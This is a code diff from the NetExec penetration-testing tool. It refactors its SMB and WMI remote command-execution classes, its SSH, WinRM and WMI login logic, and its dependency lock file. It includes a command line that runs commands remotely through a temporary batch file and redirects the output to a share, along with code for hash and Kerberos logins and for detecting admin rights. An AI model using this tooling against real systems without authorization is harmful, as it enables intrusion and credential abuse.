timestamp_seconds = combined / 10**7
|
||||
start_date = datetime(1601, 1, 1)
|
||||
return (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
@@ -7,9 +7,9 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
|
||||
class SMBEXEC:
|
||||
def __init__(self, host, share_name, smbconnection, protocol, username="", password="", domain="", doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
|
||||
def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
|
||||
self.__host = host
|
||||
self.__share_name = "C$"
|
||||
self.__share_name = share_name
|
||||
self.__port = port
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
@@ -26,9 +26,9 @@ class SMBEXEC:
|
||||
self.__retOutput = False
|
||||
self.__rpctransport = None
|
||||
self.__scmr = None
|
||||
self.__conn = None
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__remoteHost = remoteHost
|
||||
self.__kdcHost = kdcHost
|
||||
self.__tries = tries
|
||||
self.logger = logger
|
||||
@@ -49,7 +49,8 @@ class SMBEXEC:
|
||||
self.__rpctransport.set_dport(self.__port)
|
||||
|
||||
if hasattr(self.__rpctransport, "setRemoteHost"):
|
||||
self.__rpctransport.setRemoteHost(self.__host)
|
||||
self.__rpctransport.setRemoteHost(self.__remoteHost)
|
||||
|
||||
if hasattr(self.__rpctransport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
self.__rpctransport.set_credentials(
|
||||
@@ -92,7 +93,7 @@ class SMBEXEC:
|
||||
self.__output = gen_random_string(6)
|
||||
self.__batchFile = gen_random_string(6) + ".bat"
|
||||
|
||||
command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
|
||||
command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
|
||||
|
||||
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
|
||||
batch_file.write(command)
|
||||
|
||||
@@ -9,7 +9,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
|
||||
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
@@ -26,6 +26,7 @@ class WMIEXEC:
|
||||
self.__pwd = "C:\\"
|
||||
self.__aesKey = aesKey
|
||||
self.__kdcHost = kdcHost
|
||||
self.__remoteHost = remoteHost
|
||||
self.__doKerberos = doKerberos
|
||||
self.__retOutput = True
|
||||
self.__stringBinding = ""
|
||||
@@ -52,9 +53,10 @@ class WMIEXEC:
|
||||
oxidResolver=True,
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
)
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
|
||||
|
||||
|
||||
+16
-35
@@ -4,7 +4,6 @@ import uuid
|
||||
import logging
|
||||
import time
|
||||
|
||||
from io import StringIO
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection, highlight
|
||||
from nxc.logger import NXCAdapter
|
||||
@@ -20,7 +19,7 @@ class ssh(connection):
|
||||
self.protocol = "SSH"
|
||||
self.remote_version = "Unknown SSH Version"
|
||||
self.server_os_platform = "Linux"
|
||||
self.user_principal = "root"
|
||||
self.uac = ""
|
||||
super().__init__(args, db, host)
|
||||
|
||||
def proto_flow(self):
|
||||
@@ -182,26 +181,20 @@ class ssh(connection):
|
||||
self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed")
|
||||
return
|
||||
|
||||
def plaintext_login(self, username, password, private_key=None):
|
||||
def plaintext_login(self, username, password, private_key=""):
|
||||
self.username = username
|
||||
self.password = password
|
||||
private_key = ""
|
||||
stdout = None
|
||||
try:
|
||||
if self.args.key_file or private_key:
|
||||
self.logger.debug("Logging in with key")
|
||||
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
|
||||
|
||||
if self.args.key_file:
|
||||
with open(self.args.key_file) as f:
|
||||
private_key = f.read()
|
||||
|
||||
pkey = paramiko.RSAKey.from_private_key(StringIO(private_key))
|
||||
self.conn.connect(
|
||||
self.host,
|
||||
port=self.port,
|
||||
username=username,
|
||||
passphrase=password if password != "" else None,
|
||||
pkey=pkey,
|
||||
key_filename=private_key if private_key else self.args.key_file,
|
||||
look_for_keys=False,
|
||||
allow_agent=False,
|
||||
)
|
||||
@@ -228,13 +221,15 @@ class ssh(connection):
|
||||
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
|
||||
_, stdout, _ = self.conn.exec_command("id")
|
||||
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||
except Exception as e:
|
||||
if self.args.key_file:
|
||||
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
|
||||
if "OpenSSH private key file checkints do not match" in str(e):
|
||||
self.logger.fail(f"{username}:{password} - Could not decrypt key file, wrong password")
|
||||
except AuthenticationException:
|
||||
self.logger.fail(f"{username}:{process_secret(password)}")
|
||||
except SSHException as e:
|
||||
if "Invalid key" in str(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
|
||||
else:
|
||||
self.logger.fail(f"{username}:{password} {e}")
|
||||
self.logger.exception(e)
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
self.conn.close()
|
||||
return False
|
||||
else:
|
||||
@@ -245,15 +240,11 @@ class ssh(connection):
|
||||
_, stdout, _ = self.conn.exec_command("whoami /priv")
|
||||
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||
self.server_os_platform = "Windows"
|
||||
self.user_principal = "admin"
|
||||
if "SeDebugPrivilege" in stdout:
|
||||
self.admin_privs = True
|
||||
elif "SeUndockPrivilege" in stdout:
|
||||
self.admin_privs = True
|
||||
self.user_principal = "admin (UAC)"
|
||||
else:
|
||||
# non admin (low priv)
|
||||
self.user_principal = "admin (low priv)"
|
||||
self.uac = "with UAC - "
|
||||
|
||||
if not stdout:
|
||||
self.logger.debug(f"User: {self.username} can't get a basic shell")
|
||||
@@ -271,23 +262,13 @@ class ssh(connection):
|
||||
if self.args.key_file:
|
||||
self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id)
|
||||
else:
|
||||
self.db.add_admin_user(
|
||||
"plaintext",
|
||||
username,
|
||||
password,
|
||||
host_id=host_id,
|
||||
cred_id=cred_id,
|
||||
)
|
||||
self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id)
|
||||
|
||||
if self.args.key_file:
|
||||
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
|
||||
|
||||
display_shell_access = "{} {} {}".format(
|
||||
f"({self.user_principal})" if self.admin_privs else f"(non {self.user_principal})",
|
||||
self.server_os_platform,
|
||||
"- Shell access!" if shell_access else ""
|
||||
)
|
||||
self.logger.success(f"{username}:{password} {self.mark_pwned()} {highlight(display_shell_access)}")
|
||||
display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}"
|
||||
self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}")
|
||||
|
||||
return True
|
||||
|
||||
|
||||
@@ -99,7 +99,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
@@ -62,7 +62,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
+7
-12
@@ -25,7 +25,8 @@ urllib3.disable_warnings()
|
||||
|
||||
class winrm(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
self.domain = ""
|
||||
self.targedDomain = ""
|
||||
self.server_os = None
|
||||
self.output_filename = None
|
||||
self.endpoint = None
|
||||
@@ -52,30 +53,24 @@ class winrm(connection):
|
||||
|
||||
def enum_host_info(self):
|
||||
ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", "")))
|
||||
self.domain = ntlm_info["domain"]
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
|
||||
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
if self.domain is None:
|
||||
self.domain = ""
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
|
||||
return True
|
||||
|
||||
@@ -167,7 +162,7 @@ class winrm(connection):
|
||||
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
@@ -210,7 +205,7 @@ class winrm(connection):
|
||||
self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
|
||||
|
||||
@@ -82,7 +82,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
+33
-25
@@ -1,5 +1,4 @@
|
||||
import os
|
||||
import logging
|
||||
|
||||
from io import StringIO
|
||||
from datetime import datetime
|
||||
@@ -24,12 +23,11 @@ MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.
|
||||
|
||||
class wmi(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
self.domain = ""
|
||||
self.targetDomain = ""
|
||||
self.hash = ""
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.fqdn = ""
|
||||
self.remoteName = ""
|
||||
self.server_os = None
|
||||
self.doKerberos = False
|
||||
self.stringBinding = None
|
||||
@@ -63,10 +61,10 @@ class wmi(connection):
|
||||
)
|
||||
|
||||
def create_conn_obj(self):
|
||||
if self.remoteName == "":
|
||||
self.remoteName = self.host
|
||||
connection_target = fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]"
|
||||
self.logger.debug(f"Creating WMI connection object to {connection_target}")
|
||||
try:
|
||||
rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]")
|
||||
rpctansport = transport.DCERPCTransportFactory(connection_target)
|
||||
rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="")
|
||||
rpctansport.setRemoteHost(self.host)
|
||||
rpctansport.set_connect_timeout(self.args.rpc_timeout)
|
||||
@@ -76,9 +74,10 @@ class wmi(connection):
|
||||
dce.bind(MSRPC_UUID_PORTMAP)
|
||||
dce.disconnect()
|
||||
except Exception as e:
|
||||
self.logger.debug(str(e))
|
||||
self.logger.debug(f"Received error creating WMI connection object: {e}")
|
||||
return False
|
||||
else:
|
||||
self.logger.debug(f"Successfully created WMI connection object to {connection_target}")
|
||||
self.conn = rpctansport
|
||||
return True
|
||||
|
||||
@@ -122,7 +121,7 @@ class wmi(connection):
|
||||
response = MSRPCHeader(buffer)
|
||||
bindResp = MSRPCBindAck(response.getData())
|
||||
ntlm_info = parse_challenge(bindResp["auth_data"])
|
||||
self.domain = ntlm_info["domain"]
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
@@ -132,25 +131,32 @@ class wmi(connection):
|
||||
self.domain = self.hostname
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
self.fqdn = f"{self.hostname}.{self.domain}"
|
||||
|
||||
# DCOM connection with kerberos needed
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.extra["protocol"] = "RPC"
|
||||
self.logger.extra["port"] = "135"
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
return True
|
||||
|
||||
def check_if_admin(self):
|
||||
try:
|
||||
dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.args.rpc_timeout)
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Received error while checking admin: {e}")
|
||||
if "dcom" in locals():
|
||||
dcom.disconnect()
|
||||
|
||||
if "access_denied" not in str(e).lower():
|
||||
self.logger.fail(str(e))
|
||||
else:
|
||||
@@ -171,19 +177,19 @@ class wmi(connection):
|
||||
|
||||
if "access_denied" not in str(e).lower():
|
||||
self.logger.fail(str(e))
|
||||
return False
|
||||
else:
|
||||
dcom.disconnect()
|
||||
self.logger.extra["protocol"] = "WMI"
|
||||
self.admin_privs = True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
logging.getLogger("impacket").disabled = True
|
||||
self.logger.debug("Starting WMI login with Kerberos")
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.remoteName = self.fqdn
|
||||
self.create_conn_obj()
|
||||
|
||||
if password == "":
|
||||
@@ -198,12 +204,15 @@ class wmi(connection):
|
||||
|
||||
if useCache and kerb_pass == "":
|
||||
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
|
||||
self.logger.debug(f"Using ccache from {ccache}")
|
||||
username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
|
||||
self.username = username
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Attempting to connect via WMI to {self.host}")
|
||||
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
|
||||
self.conn.setRemoteHost(self.host)
|
||||
self.conn.set_kerberos(True, kdcHost)
|
||||
dce = self.conn.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
@@ -213,22 +222,21 @@ class wmi(connection):
|
||||
except Exception as e:
|
||||
dce.disconnect()
|
||||
error_msg = str(e).lower()
|
||||
self.logger.debug(error_msg)
|
||||
self.logger.debug(f"WMI errored while connecting: {error_msg}")
|
||||
if "unpack requires a buffer of 4 bytes" in error_msg:
|
||||
error_msg = "Kerberos authentication failure"
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}"
|
||||
self.logger.fail(out)
|
||||
elif "kerberos sessionerror" in str(e).lower():
|
||||
elif "kerberos sessionerror" in error_msg:
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {next(iter(e.getErrorString()))}"
|
||||
self.logger.fail(out, color="magenta")
|
||||
return False
|
||||
else:
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {e!s}"
|
||||
self.logger.fail(out, color="red")
|
||||
return False
|
||||
else:
|
||||
try:
|
||||
# Get data from rpc connection if got vaild creds
|
||||
self.logger.debug("Got valid creds, trying to get data from RPC connection")
|
||||
entry_handle = epm.ept_lookup_handle_t()
|
||||
request = epm.ept_lookup()
|
||||
request["inquiry_type"] = 0x0
|
||||
@@ -251,9 +259,9 @@ class wmi(connection):
|
||||
else:
|
||||
self.doKerberos = True
|
||||
self.check_if_admin()
|
||||
dce.disconnect()
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
dce.disconnect()
|
||||
return True
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
@@ -372,7 +380,7 @@ class wmi(connection):
|
||||
namespace = self.args.wmi_namespace
|
||||
|
||||
try:
|
||||
dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = IWbemLevel1Login(iInterface)
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
@@ -418,11 +426,11 @@ class wmi(connection):
|
||||
return False
|
||||
|
||||
if self.args.exec_method == "wmiexec":
|
||||
exec_method = wmiexec.WMIEXEC(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
|
||||
exec_method = wmiexec.WMIEXEC(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
|
||||
output = exec_method.execute(command, get_output)
|
||||
|
||||
elif self.args.exec_method == "wmiexec-event":
|
||||
exec_method = wmiexec_event.WMIEXEC_EVENT(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
|
||||
exec_method = wmiexec_event.WMIEXEC_EVENT(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
|
||||
output = exec_method.execute(command, get_output)
|
||||
|
||||
self.conn.disconnect()
|
||||
|
||||
@@ -54,7 +54,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
@@ -24,8 +24,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
|
||||
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
|
||||
self.__host = host
|
||||
def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
@@ -33,6 +33,7 @@ class WMIEXEC:
|
||||
self.__nthash = nthash
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.__remoteHost = remoteHost
|
||||
self.__aesKey = aesKey
|
||||
self.logger = logger
|
||||
self.__exec_timeout = exec_timeout
|
||||
@@ -44,7 +45,7 @@ class WMIEXEC:
|
||||
self.__pwd = "C:\\"
|
||||
self.__codec = codec
|
||||
|
||||
self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
|
||||
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = IWbemLevel1Login(iInterface)
|
||||
self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
@@ -98,4 +99,4 @@ class WMIEXEC:
|
||||
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
|
||||
retVal = descriptor.DeleteKey(2147483650, self.__registry_Path)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Target: {self.__host} removing temporary registry path error: {e!s}")
|
||||
self.logger.debug(f"Target: {self.__target} removing temporary registry path error: {e!s}")
|
||||
@@ -31,8 +31,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
|
||||
|
||||
|
||||
class WMIEXEC_EVENT:
|
||||
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
|
||||
self.__host = host
|
||||
def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
@@ -40,6 +40,7 @@ class WMIEXEC_EVENT:
|
||||
self.__nthash = nthash
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.__remoteHost = remoteHost
|
||||
self.__aesKey = aesKey
|
||||
self.__outputBuffer = ""
|
||||
self.__retOutput = True
|
||||
@@ -50,7 +51,7 @@ class WMIEXEC_EVENT:
|
||||
self.__instanceID = f"windows-object-{uuid.uuid4()!s}"
|
||||
self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}"
|
||||
|
||||
self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
|
||||
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = IWbemLevel1Login(iInterface)
|
||||
self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
|
||||
@@ -75,7 +76,7 @@ class WMIEXEC_EVENT:
|
||||
|
||||
def execute_handler(self, command):
|
||||
# Generate vbsript and execute it
|
||||
self.logger.debug(f"{self.__host}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
|
||||
self.logger.debug(f"{self.__target}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
|
||||
self.execute_remote(command)
|
||||
|
||||
# Get command results
|
||||
|
||||
Generated
+68
-24
@@ -1,4 +1,4 @@
|
||||
# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand.
|
||||
# This file is automatically @generated by Poetry 1.8.2 and should not be changed by hand.
|
||||
|
||||
[[package]]
|
||||
name = "aardwolf"
|
||||
@@ -189,13 +189,13 @@ shell = ["prompt_toolkit"]
|
||||
|
||||
[[package]]
|
||||
name = "asyauth"
|
||||
version = "0.0.18"
|
||||
version = "0.0.20"
|
||||
description = "Unified authentication library"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
files = [
|
||||
{file = "asyauth-0.0.18-py3-none-any.whl", hash = "sha256:1fff4333d5db8c6c4a897efdf5e95a41a44cd257638d8296003f1a7a4a9e95a1"},
|
||||
{file = "asyauth-0.0.18.tar.gz", hash = "sha256:b7602894fd0667cf1bd3e16a1d71c83f557a4c857ad41bddf30557a59665b4ad"},
|
||||
{file = "asyauth-0.0.20-py3-none-any.whl", hash = "sha256:b4697c5be28869bb5df8ff217564e77a863385ef9495da7cb215deac4ebe9fac"},
|
||||
{file = "asyauth-0.0.20.tar.gz", hash = "sha256:41056020f7689cf5f0a559759c7f02a6ce2719bda84df783bd1058d5781e514b"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -634,13 +634,13 @@ wmi = ["wmi (>=1.5.1,<2.0.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "dploot"
|
||||
version = "2.2.4"
|
||||
version = "2.7.1"
|
||||
description = "DPAPI looting remotely in Python"
|
||||
optional = false
|
||||
python-versions = ">=3.7,<4.0"
|
||||
python-versions = "<4.0,>=3.7"
|
||||
files = [
|
||||
{file = "dploot-2.2.4-py3-none-any.whl", hash = "sha256:a70c8280972a1fb7150093560093e46a9bb5936396f563ae9050a20dcf1ad96e"},
|
||||
{file = "dploot-2.2.4.tar.gz", hash = "sha256:e34ff928e94416f3cbf688427d1de4aa88a4a4a15f24edb6313a2adc685a98a3"},
|
||||
